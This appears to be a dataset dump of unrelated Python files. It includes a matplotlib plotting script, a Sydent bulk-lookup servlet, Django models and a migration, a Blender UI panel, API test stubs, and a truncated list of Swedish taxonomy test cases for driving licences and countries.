import latentSpaceExplore_VanillaHMC,latentSpaceExplore_NUTSHmc,latentSpaceExplore_PerturbOptimize
from train import trainVAE
import csv
import matplotlib.pyplot as plt
import os
import numpy as np
import json
config = sys.argv[1]
jsonArgs = json.loads(open(config,'r').read())
oprows = list(csv.reader(open(jsonArgs['plotfile'],'r'),delimiter=',',quoting=csv.QUOTE_NONNUMERIC))
#opirows = list(csv.reader(open(jsonArgs['OpiPlotFile'],'r'),delimiter=',',quoting=csv.QUOTE_NONNUMERIC))
#hmcrows = list(csv.reader(open(jsonArgs['HmcPlotFile'],'r'),delimiter=',',quoting=csv.QUOTE_NONNUMERIC))
oprows = np.squeeze(np.array(oprows))
#opirows = np.squeeze(np.array(opirows))
#hmcrows = np.squeeze(np.array(hmcrows))
opx = range(len(oprows))
#opix = range(len(opirows))
#hmcx = range(len(hmcrows))
opy = oprows
#opiy = opirows
#hmcy = hmcrows
plt.plot(opx,opy)
plt.xlabel("Number of Rounds")
plt.ylabel("Energy Value")
#plt.plot(opix,opiy)
#plt.plot(hmcx,hmcy)
plt.legend(["Pairwise Distance Energy (of latent space)"]) #,"Perturb-Optimize-Input","NUTS-HMC"])
plt.tight_layout()
if not os.path.exists("/".join(jsonArgs['plotTitle'].split("/")[:-1])):
os.makedirs("/".join(jsonArgs['plotTitle'].split("/")[:-1]))
plt.savefig(jsonArgs['plotTitle'])
| 1.875 | 2 |
sydent/http/servlets/bulklookupservlet.py | jp-modernisation-gouv-fr/sydent | 0 | 12768774 | # -*- coding: utf-8 -*-
# Copyright 2017 OpenMarket Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from twisted.web.resource import Resource
from sydent.db.threepid_associations import GlobalAssociationStore
import logging
import json
import signedjson.sign
from sydent.http.servlets import get_args, jsonwrap, send_cors
logger = logging.getLogger(__name__)
class BulkLookupServlet(Resource):
isLeaf = True
def __init__(self, syd):
self.sydent = syd
def render_POST(self, request):
"""
Bulk-lookup for threepids.
Params: 'threepids': list of threepids, each of which is a list of medium, address
Returns: Object with key 'threepids', which is a list of results where each result
is a 3 item list of medium, address, mxid
Note that results are not streamed to the client.
Threepids for which no mapping is found are omitted.
"""
send_cors(request)
err, args = get_args(request, ('threepids',))
if err:
return err
threepids = args['threepids']
if not isinstance(threepids, list):
request.setResponseCode(400)
return {'errcode': 'M_INVALID_PARAM', 'error': 'threepids must be a list'}, None
logger.info("Bulk lookup of %d threepids: %r", len(threepids), threepids)
globalAssocStore = GlobalAssociationStore(self.sydent)
results = globalAssocStore.getMxids(threepids)
return json.dumps({ 'threepids': results })
@jsonwrap
def render_OPTIONS(self, request):
send_cors(request)
request.setResponseCode(200)
return {}
| 1.703125 | 2 |
repos/classes.py | JSLucena/ShopGenerator | 0 | 12768775 | <reponame>JSLucena/ShopGenerator
class Item:
def __init__(self, name, price, rarity, typ):
self.__name = name
self.__price = price
self.__rarity = rarity
self.__typ = typ
def getName(self):
return self.__name
def setName(self, name):
self.__name = name
def getPrice(self):
return self.__price
def setPrice(self, price):
self.__price = price
def getRarity(self):
return self.__rarity
def setRarity(self, rarity):
self.__rarity = rarity
def getType(self):
return self.__typ
def setType(self, typ):
self.__typ = typ
| 2.625 | 3 |
mmaps/mmaps_manager.py | pamiyummy/MMAPs_Module | 0 | 12768776 | <gh_stars>0
import bpy
import math
from . import mmaps_launcher
from . import mmaps_clearer
class MMAP_PT_MMAPsManager(bpy.types.Panel):
'''
Panel class to manage MMAPs parameters
'''
bl_label = 'MMAPs'
bl_space_type = 'VIEW_3D'
bl_region_type = 'UI'
bl_category = 'MMAPs'
bl_context = 'objectmode'
def draw(self, context):
scene = context.scene
# Operator class to create or clear MMAPs object.
launch_op_cls = mmaps_launcher.MMAP_OT_MMAPsLancher
clear_op_cls = mmaps_clearer.MMAP_OT_MMAPsClearer
layout = self.layout
layout.use_property_split = True
layout.use_property_decorate = False
# Create properties of MMAPs.
layout.label(text="MMAPs parameters")
col = layout.column()
col.prop(scene, "mmaps_size", text="Size")
col.prop(scene, "mmaps_slit_spacing", text="Slit spacing")
col.prop(scene, "mmaps_slit_heightscale", text="Height scale")
col.prop(scene, "mmaps_detailing", text="Mirror detailing")
col.prop(scene, "mmaps_glass_ior", text="IOR (glass)")
# Add button to call 'invoke()' in MMAP_OT_MMAPsLauncher
row = layout.row()
row.operator(launch_op_cls.bl_idname, text='Launch', icon='PLAY')
# Create object names to delete.
layout.label(text="Object names of MMAPs")
col = layout.column()
col.prop(scene, "mmaps_mirror_name", text="Mirror name")
col.prop(scene, "mmaps_glass_name", text="Glass name")
col.prop(scene, "mmaps_parent_name", text="MMAPs name")
# Add button to call 'invoke()' in MMAP_OT_MMAPsClearer
row = layout.row()
row.operator(clear_op_cls.bl_idname, text='Clear', icon='REMOVE') | 2.265625 | 2 |
src/ticket/migrations/0004_ticket_fare.py | KeshavSeth/RailwayReservationSystem | 0 | 12768777 | <reponame>KeshavSeth/RailwayReservationSystem<gh_stars>0
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('ticket', '0003_auto_20150504_1318'),
]
operations = [
migrations.AddField(
model_name='ticket',
name='fare',
field=models.PositiveIntegerField(default=0, verbose_name='Ticket Fare'),
),
]
| 1.648438 | 2 |
test/test_edit_pdf_api.py | Cloudmersive/Cloudmersive.APIClient.Python.Convert | 3 | 12768778 | <reponame>Cloudmersive/Cloudmersive.APIClient.Python.Convert
# coding: utf-8
"""
convertapi
Convert API lets you effortlessly convert file formats and types. # noqa: E501
OpenAPI spec version: v1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import cloudmersive_convert_api_client
from cloudmersive_convert_api_client.api.edit_pdf_api import EditPdfApi # noqa: E501
from cloudmersive_convert_api_client.rest import ApiException
class TestEditPdfApi(unittest.TestCase):
"""EditPdfApi unit test stubs"""
def setUp(self):
self.api = cloudmersive_convert_api_client.api.edit_pdf_api.EditPdfApi() # noqa: E501
def tearDown(self):
pass
def test_edit_pdf_encrypt(self):
"""Test case for edit_pdf_encrypt
Encrypt and password-protect a PDF # noqa: E501
"""
pass
def test_edit_pdf_set_permissions(self):
"""Test case for edit_pdf_set_permissions
Encrypt, password-protect and set restricted permissions on a PDF # noqa: E501
"""
pass
def test_edit_pdf_watermark_text(self):
"""Test case for edit_pdf_watermark_text
Add a text watermark to a PDF # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 2.296875 | 2 |
hobbies/models.py | ablades/sideline | 1 | 12768779 | from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
from django.urls import reverse
class Hobbies(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
img_url = models.URLField(max_length=1000, default="https://www.okea.org/wp-content/uploads/2019/10/placeholder.png")
date_posted = models.DateTimeField(default=timezone.now)
author = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse("hobbies-detail", kwargs={"pk": self.pk})
class UserHobbies(models.Model):
user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)
hobbies = models.ForeignKey(Hobbies, on_delete=models.SET_NULL, null=True) | 2.28125 | 2 |
tests/integration_tests/test_resources/general_value.py | JobtechSwe/elastic-importers | 2 | 12768780 | general_value_test_cases = [( {'type': 'driving-licence', 'id': '4HpY_e2U_TUH', 'preferred_label': 'AM', 'deprecated_legacy_id': '16'},
'driving-license', {'legacy_ams_taxonomy_id': '16', 'type': 'driving-license', 'label': 'AM', 'concept_id': '4HpY_e2U_TUH', 'legacy_ams_taxonomy_num_id': 16}),
( {'type': 'driving-licence', 'id': 'bneY_V3g_Kog', 'preferred_label': 'A1', 'deprecated_legacy_id': '2'},
'driving-license', {'legacy_ams_taxonomy_id': '2', 'type': 'driving-license', 'label': 'A1', 'concept_id': 'bneY_V3g_Kog', 'legacy_ams_taxonomy_num_id': 2}),
( {'type': 'driving-licence', 'id': 'Eybh_j3s_SqF', 'preferred_label': 'A2', 'deprecated_legacy_id': '17'},
'driving-license', {'legacy_ams_taxonomy_id': '17', 'type': 'driving-license', 'label': 'A2', 'concept_id': 'Eybh_j3s_SqF', 'legacy_ams_taxonomy_num_id': 17}),
( {'type': 'driving-licence', 'id': 'hK8X_cX9_5P4', 'preferred_label': 'A', 'deprecated_legacy_id': '10'},
'driving-license', {'legacy_ams_taxonomy_id': '10', 'type': 'driving-license', 'label': 'A', 'concept_id': 'hK8X_cX9_5P4', 'legacy_ams_taxonomy_num_id': 10}),
( {'type': 'driving-licence', 'id': 'VTK8_WRx_GcM', 'preferred_label': 'B', 'deprecated_legacy_id': '3'},
'driving-license', {'legacy_ams_taxonomy_id': '3', 'type': 'driving-license', 'label': 'B', 'concept_id': 'VTK8_WRx_GcM', 'legacy_ams_taxonomy_num_id': 3}),
( {'type': 'driving-licence', 'id': 'ftCQ_gFu_L4b', 'preferred_label': 'Utökad B', 'deprecated_legacy_id': '18'},
'driving-license', {'legacy_ams_taxonomy_id': '18', 'type': 'driving-license', 'label': 'Utökad B', 'concept_id': 'ftCQ_gFu_L4b', 'legacy_ams_taxonomy_num_id': 18}),
( {'type': 'driving-licence', 'id': 'bcFd_Vkt_KXL', 'preferred_label': 'BE', 'deprecated_legacy_id': '6'},
'driving-license', {'legacy_ams_taxonomy_id': '6', 'type': 'driving-license', 'label': 'BE', 'concept_id': 'bcFd_Vkt_KXL', 'legacy_ams_taxonomy_num_id': 6}),
( {'type': 'driving-licence', 'id': 'swP6_psb_FCB', 'preferred_label': 'C1', 'deprecated_legacy_id': '12'},
'driving-license', {'legacy_ams_taxonomy_id': '12', 'type': 'driving-license', 'label': 'C1', 'concept_id': 'swP6_psb_FCB', 'legacy_ams_taxonomy_num_id': 12}),
( {'type': 'driving-licence', 'id': 'xRum_Wtt_T1e', 'preferred_label': 'C1E', 'deprecated_legacy_id': '14'},
'driving-license', {'legacy_ams_taxonomy_id': '14', 'type': 'driving-license', 'label': 'C1E', 'concept_id': 'xRum_Wtt_T1e', 'legacy_ams_taxonomy_num_id': 14}),
( {'type': 'driving-licence', 'id': 'BKCx_hST_Pcm', 'preferred_label': 'C', 'deprecated_legacy_id': '4'},
'driving-license', {'legacy_ams_taxonomy_id': '4', 'type': 'driving-license', 'label': 'C', 'concept_id': 'BKCx_hST_Pcm', 'legacy_ams_taxonomy_num_id': 4}),
( {'type': 'driving-licence', 'id': 'zZu8_iZ9_wMH', 'preferred_label': 'CE', 'deprecated_legacy_id': '7'},
'driving-license', {'legacy_ams_taxonomy_id': '7', 'type': 'driving-license', 'label': 'CE', 'concept_id': 'zZu8_iZ9_wMH', 'legacy_ams_taxonomy_num_id': 7}),
( {'type': 'driving-licence', 'id': '5L6k_p4w_8Wu', 'preferred_label': 'D1', 'deprecated_legacy_id': '19'},
'driving-license', {'legacy_ams_taxonomy_id': '19', 'type': 'driving-license', 'label': 'D1', 'concept_id': '5L6k_p4w_8Wu', 'legacy_ams_taxonomy_num_id': 19}),
( {'type': 'driving-licence', 'id': 'qZ2E_JSL_xAq', 'preferred_label': 'D1E', 'deprecated_legacy_id': '15'},
'driving-license', {'legacy_ams_taxonomy_id': '15', 'type': 'driving-license', 'label': 'D1E', 'concept_id': 'qZ2E_JSL_xAq', 'legacy_ams_taxonomy_num_id': 15}),
( {'type': 'driving-licence', 'id': 'hK1a_wsQ_4UG', 'preferred_label': 'D', 'deprecated_legacy_id': '5'},
'driving-license', {'legacy_ams_taxonomy_id': '5', 'type': 'driving-license', 'label': 'D', 'concept_id': 'hK1a_wsQ_4UG', 'legacy_ams_taxonomy_num_id': 5}),
( {'type': 'driving-licence', 'id': '6se7_AdD_nGw', 'preferred_label': 'DE', 'deprecated_legacy_id': '8'},
'driving-license', {'legacy_ams_taxonomy_id': '8', 'type': 'driving-license', 'label': 'DE', 'concept_id': '6se7_AdD_nGw', 'legacy_ams_taxonomy_num_id': 8}),
( {'type': 'country', 'id': 'kTtK_3Y3_Kha', 'preferred_label': 'Afghanistan', 'deprecated_legacy_id': '1'},
'country', {'legacy_ams_taxonomy_id': '1', 'type': 'country', 'label': 'Afghanistan', 'concept_id': 'kTtK_3Y3_Kha', 'legacy_ams_taxonomy_num_id': 1}),
( {'type': 'country', 'id': 'UinE_kZh_fyB', 'preferred_label': 'Albanien', 'deprecated_legacy_id': '2'},
'country', {'legacy_ams_taxonomy_id': '2', 'type': 'country', 'label': 'Albanien', 'concept_id': 'UinE_kZh_fyB', 'legacy_ams_taxonomy_num_id': 2}),
( {'type': 'country', 'id': 'RfvE_aUv_QNd', 'preferred_label': 'Algeriet', 'deprecated_legacy_id': '3'},
'country', {'legacy_ams_taxonomy_id': '3', 'type': 'country', 'label': 'Algeriet', 'concept_id': 'RfvE_aUv_QNd', 'legacy_ams_taxonomy_num_id': 3}),
( {'type': 'country', 'id': 'TQUR_jxt_5My', 'preferred_label': 'Amerikanska Samoa', 'deprecated_legacy_id': '4'},
'country', {'legacy_ams_taxonomy_id': '4', 'type': 'country', 'label': 'Amerikanska Samoa', 'concept_id': 'TQUR_jxt_5My', 'legacy_ams_taxonomy_num_id': 4}),
( {'type': 'country', 'id': 'vdpd_XS2_ZBZ', 'preferred_label': 'Amerikanska, mindre uteliggande öar', 'deprecated_legacy_id': '5'},
'country', {'legacy_ams_taxonomy_id': '5', 'type': 'country', 'label': 'Amerikanska, mindre uteliggande öar', 'concept_id': 'vdpd_XS2_ZBZ', 'legacy_ams_taxonomy_num_id': 5}),
( {'type': 'country', 'id': 'sweX_RLA_3e6', 'preferred_label': 'Andorra', 'deprecated_legacy_id': '6'},
'country', {'legacy_ams_taxonomy_id': '6', 'type': 'country', 'label': 'Andorra', 'concept_id': 'sweX_RLA_3e6', 'legacy_ams_taxonomy_num_id': 6}),
( {'type': 'country', 'id': 'kWK9_dqr_Mo7', 'preferred_label': 'Anguilla', 'deprecated_legacy_id': '8'},
'country', {'legacy_ams_taxonomy_id': '8', 'type': 'country', 'label': 'Anguilla', 'concept_id': 'kWK9_dqr_Mo7', 'legacy_ams_taxonomy_num_id': 8}),
( {'type': 'country', 'id': 'vc1T_oaU_Ctj', 'preferred_label': 'Antarktis', 'deprecated_legacy_id': '9'},
'country', {'legacy_ams_taxonomy_id': '9', 'type': 'country', 'label': 'Antarktis', 'concept_id': 'vc1T_oaU_Ctj', 'legacy_ams_taxonomy_num_id': 9}),
( {'type': 'country', 'id': 'bq7f_tFF_eHk', 'preferred_label': 'Antigua och Barbuda', 'deprecated_legacy_id': '10'},
'country', {'legacy_ams_taxonomy_id': '10', 'type': 'country', 'label': 'Antigua och Barbuda', 'concept_id': 'bq7f_tFF_eHk', 'legacy_ams_taxonomy_num_id': 10}),
( {'type': 'country', 'id': '5HZv_9h6_oEx', 'preferred_label': 'Förenade arabemiraten', 'deprecated_legacy_id': '11'},
'country', {'legacy_ams_taxonomy_id': '11', 'type': 'country', 'label': 'Förenade arabemiraten', 'concept_id': '5HZv_9h6_oEx', 'legacy_ams_taxonomy_num_id': 11}),
( {'type': 'country', 'id': '47CY_xjT_Xc2', 'preferred_label': 'Argentina', 'deprecated_legacy_id': '12'},
'country', {'legacy_ams_taxonomy_id': '12', 'type': 'country', 'label': 'Argentina', 'concept_id': '47CY_xjT_Xc2', 'legacy_ams_taxonomy_num_id': 12}),
( {'type': 'country', 'id': 'fy8S_VeD_ssD', 'preferred_label': 'Armenien', 'deprecated_legacy_id': '13'},
'country', {'legacy_ams_taxonomy_id': '13', 'type': 'country', 'label': 'Armenien', 'concept_id': 'fy8S_VeD_ssD', 'legacy_ams_taxonomy_num_id': 13}),
( {'type': 'country', 'id': 'ryVr_iWV_Fng', 'preferred_label': 'Aruba', 'deprecated_legacy_id': '14'},
'country', {'legacy_ams_taxonomy_id': '14', 'type': 'country', 'label': 'Aruba', 'concept_id': 'ryVr_iWV_Fng', 'legacy_ams_taxonomy_num_id': 14}),
( {'type': 'country', 'id': 'miKy_TpU_dxq', 'preferred_label': 'Australien', 'deprecated_legacy_id': '15'},
'country', {'legacy_ams_taxonomy_id': '15', 'type': 'country', 'label': 'Australien', 'concept_id': 'miKy_TpU_dxq', 'legacy_ams_taxonomy_num_id': 15}),
( {'type': 'country', 'id': 'aHrz_7Ra_BHD', 'preferred_label': 'Azerbajdzjan', 'deprecated_legacy_id': '16'},
'country', {'legacy_ams_taxonomy_id': '16', 'type': 'country', 'label': 'Azerbajdzjan', 'concept_id': 'aHrz_7Ra_BHD', 'legacy_ams_taxonomy_num_id': 16}),
( {'type': 'country', 'id': 'TkqL_i5G_onf', 'preferred_label': 'Bahamas', 'deprecated_legacy_id': '17'},
'country', {'legacy_ams_taxonomy_id': '17', 'type': 'country', 'label': 'Bahamas', 'concept_id': 'TkqL_i5G_onf', 'legacy_ams_taxonomy_num_id': 17}),
( {'type': 'country', 'id': 'nLkD_9YC_CbV', 'preferred_label': 'Bahrain', 'deprecated_legacy_id': '18'},
'country', {'legacy_ams_taxonomy_id': '18', 'type': 'country', 'label': 'Bahrain', 'concept_id': 'nLkD_9YC_CbV', 'legacy_ams_taxonomy_num_id': 18}),
( {'type': 'country', 'id': 'SntG_Zrn_SR3', 'preferred_label': 'Bangladesh', 'deprecated_legacy_id': '19'},
'country', {'legacy_ams_taxonomy_id': '19', 'type': 'country', 'label': 'Bangladesh', 'concept_id': 'SntG_Zrn_SR3', 'legacy_ams_taxonomy_num_id': 19}),
( {'type': 'country', 'id': 'BXzb_Wib_vNM', 'preferred_label': 'Barbados', 'deprecated_legacy_id': '20'},
'country', {'legacy_ams_taxonomy_id': '20', 'type': 'country', 'label': 'Barbados', 'concept_id': 'BXzb_Wib_vNM', 'legacy_ams_taxonomy_num_id': 20}),
( {'type': 'country', 'id': 'igN2_SxA_VJK', 'preferred_label': 'Belgien', 'deprecated_legacy_id': '21'},
'country', {'legacy_ams_taxonomy_id': '21', 'type': 'country', 'label': 'Belgien', 'concept_id': 'igN2_SxA_VJK', 'legacy_ams_taxonomy_num_id': 21}),
( {'type': 'country', 'id': 'ccCA_va6_Lx1', 'preferred_label': 'Belize', 'deprecated_legacy_id': '22'},
'country', {'legacy_ams_taxonomy_id': '22', 'type': 'country', 'label': 'Belize', 'concept_id': 'ccCA_va6_Lx1', 'legacy_ams_taxonomy_num_id': 22}),
( {'type': 'country', 'id': '99u3_XQB_jRk', 'preferred_label': 'Benin', 'deprecated_legacy_id': '23'},
'country', {'legacy_ams_taxonomy_id': '23', 'type': 'country', 'label': 'Benin', 'concept_id': '99u3_XQB_jRk', 'legacy_ams_taxonomy_num_id': 23}),
( {'type': 'country', 'id': 'EwAS_2UD_n2e', 'preferred_label': 'Bermuda', 'deprecated_legacy_id': '24'},
'country', {'legacy_ams_taxonomy_id': '24', 'type': 'country', 'label': 'Bermuda', 'concept_id': 'EwAS_2UD_n2e', 'legacy_ams_taxonomy_num_id': 24}),
( {'type': 'country', 'id': 'bhUZ_uVe_pLo', 'preferred_label': 'Bhutan', 'deprecated_legacy_id': '25'},
'country', {'legacy_ams_taxonomy_id': '25', 'type': 'country', 'label': 'Bhutan', 'concept_id': 'bhUZ_uVe_pLo', 'legacy_ams_taxonomy_num_id': 25}),
( {'type': 'country', 'id': 'v5g4_WPx_zE4', 'preferred_label': 'Bolivia', 'deprecated_legacy_id': '26'},
'country', {'legacy_ams_taxonomy_id': '26', 'type': 'country', 'label': 'Bolivia', 'concept_id': 'v5g4_WPx_zE4', 'legacy_ams_taxonomy_num_id': 26}),
( {'type': 'country', 'id': 'sdJ3_JHH_bHh', 'preferred_label': 'Bosnien och Hercegovina', 'deprecated_legacy_id': '27'},
'country', {'legacy_ams_taxonomy_id': '27', 'type': 'country', 'label': 'Bosnien och Hercegovina', 'concept_id': 'sdJ3_JHH_bHh', 'legacy_ams_taxonomy_num_id': 27}),
( {'type': 'country', 'id': 'f4zT_ajm_AT8', 'preferred_label': 'Botswana', 'deprecated_legacy_id': '28'},
'country', {'legacy_ams_taxonomy_id': '28', 'type': 'country', 'label': 'Botswana', 'concept_id': 'f4zT_ajm_AT8', 'legacy_ams_taxonomy_num_id': 28}),
( {'type': 'country', 'id': 'biXx_VWq_vrH', 'preferred_label': 'Bouvetön', 'deprecated_legacy_id': '29'},
'country', {'legacy_ams_taxonomy_id': '29', 'type': 'country', 'label': 'Bouvetön', 'concept_id': 'biXx_VWq_vrH', 'legacy_ams_taxonomy_num_id': 29}),
( {'type': 'country', 'id': 'KYRf_tqd_ndA', 'preferred_label': 'Brasilien', 'deprecated_legacy_id': '30'},
'country', {'legacy_ams_taxonomy_id': '30', 'type': 'country', 'label': 'Brasilien', 'concept_id': 'KYRf_tqd_ndA', 'legacy_ams_taxonomy_num_id': 30}),
( {'type': 'country', 'id': 'DtaS_uBt_nvb', 'preferred_label': 'Brittiska Indiska Oceanöarna', 'deprecated_legacy_id': '31'},
'country', {'legacy_ams_taxonomy_id': '31', 'type': 'country', 'label': 'Brittiska Indiska Oceanöarna', 'concept_id': 'DtaS_uBt_nvb', 'legacy_ams_taxonomy_num_id': 31}),
( {'type': 'country', 'id': 'tttG_4rv_nRZ', 'preferred_label': 'Brunei Darussalam', 'deprecated_legacy_id': '32'},
'country', {'legacy_ams_taxonomy_id': '32', 'type': 'country', 'label': 'Brunei Darussalam', 'concept_id': 'tttG_4rv_nRZ', 'legacy_ams_taxonomy_num_id': 32}),
( {'type': 'country', 'id': 'HnDR_EFB_MBp', 'preferred_label': 'Bulgarien', 'deprecated_legacy_id': '33'},
'country', {'legacy_ams_taxonomy_id': '33', 'type': 'country', 'label': 'Bulgarien', 'concept_id': 'HnDR_EFB_MBp', 'legacy_ams_taxonomy_num_id': 33}),
( {'type': 'country', 'id': '5huD_yut_1ro', 'preferred_label': 'Burkina Faso', 'deprecated_legacy_id': '34'},
'country', {'legacy_ams_taxonomy_id': '34', 'type': 'country', 'label': 'Burkina Faso', 'concept_id': '5huD_yut_1ro', 'legacy_ams_taxonomy_num_id': 34}),
( {'type': 'country', 'id': '2vPv_RfT_FHq', 'preferred_label': 'Burundi', 'deprecated_legacy_id': '35'},
'country', {'legacy_ams_taxonomy_id': '35', 'type': 'country', 'label': 'Burundi', 'concept_id': '2vPv_RfT_FHq', 'legacy_ams_taxonomy_num_id': 35}),
( {'type': 'country', 'id': 'MS1s_AYg_kZe', 'preferred_label': 'Caymanöarna', 'deprecated_legacy_id': '36'},
'country', {'legacy_ams_taxonomy_id': '36', 'type': 'country', 'label': 'Caymanöarna', 'concept_id': 'MS1s_AYg_kZe', 'legacy_ams_taxonomy_num_id': 36}),
( {'type': 'country', 'id': 'Jon9_cAq_w2p', 'preferred_label': 'Centralafrikanska republiken', 'deprecated_legacy_id': '37'},
'country', {'legacy_ams_taxonomy_id': '37', 'type': 'country', 'label': 'Centralafrikanska republiken', 'concept_id': 'Jon9_cAq_w2p', 'legacy_ams_taxonomy_num_id': 37}),
( {'type': 'country', 'id': 'yoHy_NiM_Hxi', 'preferred_label': 'Chile', 'deprecated_legacy_id': '38'},
'country', {'legacy_ams_taxonomy_id': '38', 'type': 'country', 'label': 'Chile', 'concept_id': 'yoHy_NiM_Hxi', 'legacy_ams_taxonomy_num_id': 38}),
( {'type': 'country', 'id': 'w4Mh_AHu_aUe', 'preferred_label': 'Colombia', 'deprecated_legacy_id': '39'},
'country', {'legacy_ams_taxonomy_id': '39', 'type': 'country', 'label': 'Colombia', 'concept_id': 'w4Mh_AHu_aUe', 'legacy_ams_taxonomy_num_id': 39}),
( {'type': 'country', 'id': 'Bw5r_quJ_jGb', 'preferred_label': 'Comorerna', 'deprecated_legacy_id': '40'},
'country', {'legacy_ams_taxonomy_id': '40', 'type': 'country', 'label': 'Comorerna', 'concept_id': 'Bw5r_quJ_jGb', 'legacy_ams_taxonomy_num_id': 40}),
( {'type': 'country', 'id': 'gBuN_LH5_1sS', 'preferred_label': 'Cooköarna', 'deprecated_legacy_id': '41'},
'country', {'legacy_ams_taxonomy_id': '41', 'type': 'country', 'label': 'Cooköarna', 'concept_id': 'gBuN_LH5_1sS', 'legacy_ams_taxonomy_num_id': 41}),
( {'type': 'country', 'id': '5gYb_FrC_N5L', 'preferred_label': 'Costa Rica', 'deprecated_legacy_id': '42'},
'country', {'legacy_ams_taxonomy_id': '42', 'type': 'country', 'label': 'Costa Rica', 'concept_id': '5gYb_FrC_N5L', 'legacy_ams_taxonomy_num_id': 42}),
( {'type': 'country', 'id': 'EDUL_5Zh_4bg', 'preferred_label': 'Cypern', 'deprecated_legacy_id': '43'},
'country', {'legacy_ams_taxonomy_id': '43', 'type': 'country', 'label': 'Cypern', 'concept_id': 'EDUL_5Zh_4bg', 'legacy_ams_taxonomy_num_id': 43}),
( {'type': 'country', 'id': 'Co3h_1xq_Cwb', 'preferred_label': 'Danmark', 'deprecated_legacy_id': '44'},
'country', {'legacy_ams_taxonomy_id': '44', 'type': 'country', 'label': 'Danmark', 'concept_id': 'Co3h_1xq_Cwb', 'legacy_ams_taxonomy_num_id': 44}),
( {'type': 'country', 'id': 'AH2Q_RGM_hFj', 'preferred_label': 'Djibouti', 'deprecated_legacy_id': '45'},
'country', {'legacy_ams_taxonomy_id': '45', 'type': 'country', 'label': 'Djibouti', 'concept_id': 'AH2Q_RGM_hFj', 'legacy_ams_taxonomy_num_id': 45}),
( {'type': 'country', 'id': 'SPjh_8RR_Go5', 'preferred_label': 'Dominica', 'deprecated_legacy_id': '46'},
'country', {'legacy_ams_taxonomy_id': '46', 'type': 'country', 'label': 'Dominica', 'concept_id': 'SPjh_8RR_Go5', 'legacy_ams_taxonomy_num_id': 46}),
( {'type': 'country', 'id': 'veGZ_ph6_D2z', 'preferred_label': 'Dominikanska republiken', 'deprecated_legacy_id': '47'},
'country', {'legacy_ams_taxonomy_id': '47', 'type': 'country', 'label': 'Dominikanska republiken', 'concept_id': 'veGZ_ph6_D2z', 'legacy_ams_taxonomy_num_id': 47}),
( {'type': 'country', 'id': 'prLG_gW1_iya', 'preferred_label': 'Ecuador', 'deprecated_legacy_id': '48'},
'country', {'legacy_ams_taxonomy_id': '48', 'type': 'country', 'label': 'Ecuador', 'concept_id': 'prLG_gW1_iya', 'legacy_ams_taxonomy_num_id': 48}),
( {'type': 'country', 'id': 'Q39b_6A6_feS', 'preferred_label': 'Egypten', 'deprecated_legacy_id': '49'},
'country', {'legacy_ams_taxonomy_id': '49', 'type': 'country', 'label': 'Egypten', 'concept_id': 'Q39b_6A6_feS', 'legacy_ams_taxonomy_num_id': 49}),
( {'type': 'country', 'id': 'N2MB_xDC_Dxk', 'preferred_label': 'Ekvatorialguinea', 'deprecated_legacy_id': '50'},
'country', {'legacy_ams_taxonomy_id': '50', 'type': 'country', 'label': 'Ekvatorialguinea', 'concept_id': 'N2MB_xDC_Dxk', 'legacy_ams_taxonomy_num_id': 50}),
( {'type': 'country', 'id': '2pi1_At7_eS8', 'preferred_label': 'El Salvador', 'deprecated_legacy_id': '51'},
'country', {'legacy_ams_taxonomy_id': '51', 'type': 'country', 'label': 'El Salvador', 'concept_id': '2pi1_At7_eS8', 'legacy_ams_taxonomy_num_id': 51}),
( {'type': 'country', 'id': 'caeu_xU5_Pr2', 'preferred_label': 'Elfenbenskusten', 'deprecated_legacy_id': '52'},
'country', {'legacy_ams_taxonomy_id': '52', 'type': 'country', 'label': 'Elfenbenskusten', 'concept_id': 'caeu_xU5_Pr2', 'legacy_ams_taxonomy_num_id': 52}),
( {'type': 'country', 'id': 'pyTe_kTE_QkJ', 'preferred_label': 'Eritrea', 'deprecated_legacy_id': '53'},
'country', {'legacy_ams_taxonomy_id': '53', 'type': 'country', 'label': 'Eritrea', 'concept_id': 'pyTe_kTE_QkJ', 'legacy_ams_taxonomy_num_id': 53}),
( {'type': 'country', 'id': 'EtpD_2Kn_dEP', 'preferred_label': 'Estland', 'deprecated_legacy_id': '54'},
'country', {'legacy_ams_taxonomy_id': '54', 'type': 'country', 'label': 'Estland', 'concept_id': 'EtpD_2Kn_dEP', 'legacy_ams_taxonomy_num_id': 54}),
( {'type': 'country', 'id': '3o66_NRC_qxC', 'preferred_label': 'Etiopien', 'deprecated_legacy_id': '55'},
'country', {'legacy_ams_taxonomy_id': '55', 'type': 'country', 'label': 'Etiopien', 'concept_id': '3o66_NRC_qxC', 'legacy_ams_taxonomy_num_id': 55}),
( {'type': 'country', 'id': '3UTC_vx3_ivC', 'preferred_label': 'Falklandsöarna', 'deprecated_legacy_id': '56'},
'country', {'legacy_ams_taxonomy_id': '56', 'type': 'country', 'label': 'Falklandsöarna', 'concept_id': '3UTC_vx3_ivC', 'legacy_ams_taxonomy_num_id': 56}),
( {'type': 'country', 'id': 'S2GW_3zC_U1C', 'preferred_label': 'Fijiöarna', 'deprecated_legacy_id': '57'},
'country', {'legacy_ams_taxonomy_id': '57', 'type': 'country', 'label': 'Fijiöarna', 'concept_id': 'S2GW_3zC_U1C', 'legacy_ams_taxonomy_num_id': 57}),
( {'type': 'country', 'id': '3PiS_KrW_bRW', 'preferred_label': 'Filippinerna', 'deprecated_legacy_id': '58'},
'country', {'legacy_ams_taxonomy_id': '58', 'type': 'country', 'label': 'Filippinerna', 'concept_id': '3PiS_KrW_bRW', 'legacy_ams_taxonomy_num_id': 58}),
( {'type': 'country', 'id': 'WgbG_whJ_E7J', 'preferred_label': 'Finland', 'deprecated_legacy_id': '59'},
